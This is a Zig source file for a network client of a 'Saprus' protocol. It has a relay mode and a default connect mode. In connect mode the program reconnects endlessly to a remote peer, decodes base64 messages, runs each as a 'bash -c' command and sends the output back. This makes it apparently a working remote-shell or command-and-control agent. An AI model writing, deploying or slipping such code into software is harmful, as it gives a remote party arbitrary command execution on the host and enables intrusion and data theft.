1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
|
const is_debug = builtin.mode == .Debug;
const help =
\\-h, --help Display this help and exit.
\\-r, --relay <str> A relay message to send.
\\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
\\-c, --connect <str> A connection message to send.
\\
;
const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
.{ "-h", .help },
.{ "--help", .help },
.{ "-r", .relay },
.{ "--relay", .relay },
.{ "-d", .dest },
.{ "--dest", .dest },
.{ "-c", .connect },
.{ "--connect", .connect },
});
pub fn main(init: std.process.Init) !void {
// CLI parsing adapted from the example here
// https://codeberg.org/ziglang/zig/pulls/30644
const args = try init.minimal.args.toSlice(init.arena.allocator());
var flags: struct {
relay: ?[]const u8 = null,
dest: ?[]const u8 = null,
connect: ?[]const u8 = null,
} = .{};
if (args.len == 1) {
flags.connect = "";
} else {
var i: usize = 1;
while (i < args.len) : (i += 1) {
if (to_option.get(args[i])) |opt| {
switch (opt) {
.help => {
std.debug.print("{s}", .{help});
return;
},
.relay => {
i += 1;
if (i < args.len) {
flags.relay = args[i];
} else {
flags.relay = "";
}
},
.dest => {
i += 1;
if (i < args.len) {
flags.dest = args[i];
} else {
std.debug.print("-d/--dest requires a string\n", .{});
return error.InvalidArguments;
}
},
.connect => {
i += 1;
if (i < args.len) {
flags.connect = args[i];
} else {
flags.connect = "";
}
},
}
} else {
std.debug.print("Unknown argument: {s}\n", .{args[i]});
return error.InvalidArguments;
}
}
}
if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
return error.InvalidArguments;
}
var client: SaprusClient = undefined;
if (flags.relay != null) {
client = try .init();
defer client.deinit();
var chunk_writer_buf: [2048]u8 = undefined;
var chunk_writer: Writer = .fixed(&chunk_writer_buf);
if (flags.relay.?.len > 0) {
var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
while (output_iter.next()) |chunk| {
chunk_writer.end = 0;
try chunk_writer.print("{b64}", .{chunk});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
}
} else {
var stdin_file: std.Io.File = .stdin();
var stdin_file_reader = stdin_file.reader(init.io, &.{});
var stdin_reader = &stdin_file_reader.interface;
var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
var stdin = &limited.interface;
while (stdin.fillMore()) {
// Sometimes fillMore will return 0 bytes.
// Skip these
if (stdin.seek == stdin.end) continue;
chunk_writer.end = 0;
try chunk_writer.print("{b64}", .{stdin.buffered()});
try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
try init.io.sleep(.fromMilliseconds(40), .boot);
try stdin.discardAll(stdin.end);
} else |err| switch (err) {
error.EndOfStream => {
log.debug("end of stdin", .{});
},
else => |e| return e,
}
}
return;
}
var con_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
var w: Writer = .fixed(&con_buf);
try w.print("{b64}", .{flags.connect.?});
if (flags.connect != null) {
reconnect: while (true) {
client = try .init();
defer client.deinit();
log.debug("Starting connection", .{});
try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
var connection = client.connect(init.io, w.buffered()) catch {
log.debug("Connection timed out", .{});
continue;
};
log.debug("Connection started", .{});
var connection_writer: ConnectionWriter = .init(init.io, &connection, &con_buf);
next_message: while (true) {
var res_buf: [2048]u8 = undefined;
try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
const next = connection.next(init.io, &res_buf) catch {
continue :reconnect;
};
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
continue;
};
var child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
.stdout = .pipe,
}) catch continue;
var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
_ = child_output_reader.interface.stream(&connection_writer.interface, .limited(SaprusClient.max_payload_len * 10)) catch continue :next_message;
}
}
}
unreachable;
}
const ConnectionWriter = struct {
connection: *zaprus.Connection,
io: std.Io,
interface: Writer,
err: ?anyerror,
pub fn init(io: std.Io, connection: *zaprus.Connection, buf: []u8) ConnectionWriter {
return .{
.connection = connection,
.io = io,
.interface = .{
.vtable = &.{
.drain = drain,
},
.buffer = buf,
},
.err = null,
};
}
pub fn drain(io_w: *Writer, data: []const []const u8, splat: usize) Writer.Error!usize {
_ = splat;
const self: *ConnectionWriter = @alignCast(@fieldParentPtr("interface", io_w));
var res: usize = 0;
// Get buffered data from the writer
const buffered = io_w.buffered();
var buf_offset: usize = 0;
// Process buffered data in chunks
while (buf_offset < buffered.len) {
const chunk_size = @min(SaprusClient.max_payload_len, buffered.len - buf_offset);
const chunk = buffered[buf_offset..][0..chunk_size];
// Base64 encode the chunk
var encoded_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
const encoded_len = std.base64.standard.Encoder.calcSize(chunk.len);
const encoded = std.base64.standard.Encoder.encode(&encoded_buf, chunk);
// Send encoded chunk
self.connection.send(self.io, encoded[0..encoded_len]) catch |err| {
self.err = err;
return error.WriteFailed;
};
self.io.sleep(.fromMilliseconds(40), .boot) catch @panic("honk shoo");
buf_offset += chunk_size;
res += chunk_size;
}
// Process data slices
for (data) |slice| {
var slice_offset: usize = 0;
while (slice_offset < slice.len) {
const chunk_size = @min(SaprusClient.max_payload_len, slice.len - slice_offset);
const chunk = slice[slice_offset..][0..chunk_size];
// Base64 encode the chunk
var encoded_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
const encoded_len = std.base64.standard.Encoder.calcSize(chunk.len);
const encoded = std.base64.standard.Encoder.encode(&encoded_buf, chunk);
// Send encoded chunk
self.connection.send(self.io, encoded[0..encoded_len]) catch |err| {
self.err = err;
return error.WriteFailed;
};
self.io.sleep(.fromMilliseconds(40), .boot) catch @panic("honk shoo");
slice_offset += chunk_size;
res += chunk_size;
}
}
return res;
}
};
// const ConnectionWriter = struct {
// connection: *zaprus.Connection,
// io: std.Io,
// interface: Writer,
// err: ?anyerror,
// pub fn init(io: std.Io, connection: *zaprus.Connection) ConnectionWriter {
// return .{
// .connection = connection,
// .io = io,
// .interface = .{},
// };
// }
// pub fn drain(io_w: *Writer, data: []const []const u8, splat: usize) Writer.Error!usize {
// var res: usize = 0;
// const w: *ConnectionWriter = @alignCast(@fieldParentPtr("interface", io_w));
// var buffered_reader: std.Io.Reader = .fixed(io_w.buffered());
// const io = w.io;
// // Collect the output in chunks
// var output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
// var output_writer: Writer = .fixed(&output_buf);
// while (buffered_reader.end - buffered_reader.seek > SaprusClient.max_payload_len) {
// output_writer.end = 0;
// output_writer.print("{b64}", .{&buffered_reader.takeArray(SaprusClient.max_payload_len)});
// self.connection.send(io, output_writer.buffered()) catch |err| {
// self.err = err;
// return error.WriteFailed;
// };
// res += SaprusClient.max_payload_len;
// }
// // accumulate the remainder of buffered and the data slices before writing b64 to the output_writer
// var output_acc_buf: [SaprusClient.max_payload_len]u8 = undefined;
// var output_acc_w: Writer = .fixed(&output_acc_buf);
// // We can write the rest of buffered_reader to the output_writer because we know after
// // the previous loop the maximum length of the remaining data is SaprusClient.max_payload_len.
// output_writer.end = 0;
// res += output_acc_w.write(buffered_reader.buffered()) catch unreachable;
// for (data[0 .. data.len - 1]) |chunk| {
// if (chunk.len < SaprusClient.max_payload_len - output_acc_w.end) {
// res += output_acc_w.write(chunk) catch unreachable;
// continue;
// }
// var chunk_reader: std.Io.Reader = .fixed(chunk);
// while (chunk_reader.end - chunk_reader.seek > 0) {
// res += chunk_reader.stream(
// &output_acc_w,
// .limited(SaprusClient.max_payload_len - output_acc_w.end),
// ) catch unreachable;
// if (SaprusClient.max_payload_len - output_acc_w.end == 0) {
// output_writer.print("{b64}", .{output_acc_w.buffered()});
// output_acc_w.end = 0;
// self.connection.send(io, output_writer.buffered()) catch |err| {
// self.err = err;
// return error.WriteFailed;
// };
// output_writer.end = 0;
// }
// }
// }
// return res;
// }
// };
fn parseDest(in: ?[]const u8) [4]u8 {
if (in) |dest| {
if (dest.len <= 4) {
var res: [4]u8 = @splat(0);
@memcpy(res[0..dest.len], dest);
return res;
}
const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
return addr.bytes;
}
return "disc".*;
}
const builtin = @import("builtin");
const std = @import("std");
const log = std.log;
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const Writer = std.Io.Writer;
|